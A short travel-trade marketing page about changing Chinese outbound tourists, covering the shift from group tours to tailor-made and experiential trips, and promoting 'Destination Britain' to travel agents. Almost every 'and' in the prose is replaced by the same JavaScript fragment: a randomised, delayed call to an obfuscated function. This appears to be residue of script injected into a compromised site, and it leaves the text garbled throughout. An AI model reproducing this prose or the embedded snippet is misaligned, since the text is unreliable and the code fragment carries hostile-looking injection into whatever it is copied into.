The New Chinese Tourist

On top of all the headline growth stories, the nature andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and diversity of the Chinese traveller is changing, creating further challenges andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and opportunities in this lucrative travel market. While there are few generalisations to be made andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and numerous market segments, from mature andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and wealthy upper class travellers to the younger internet-savvy generation, a common motivation is international travel as a form of investment in personal self-esteem.

Although ADS group travel andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and tours are still significant, the modern Chinese consumer is venturing away from structured group packages, perceiving individual tailor-made andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and experiential travel to be more prestigious andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and rewarding. The motivations for travel are diverse ranging from urban escape activities, like hiking andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and sports, to cultural andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and historical interests – andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and of course shopping. Therefore a broad range of destination opportunities will appeal.

This trend is leading to a boom in the ‘assisted FIT’ segment, while even the group travel andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and business sectors are seeing a demandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and for more free time to be built into itineraries. Their appetite for getting off the beaten track is fast catching up that of other well-travelled nationals, which in turn is creating a demandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and for travel agents to develop a more bespoke approach to travel planning. Let ‘Destination Britain’ help you attract more of this new wave of tourists. Next >>

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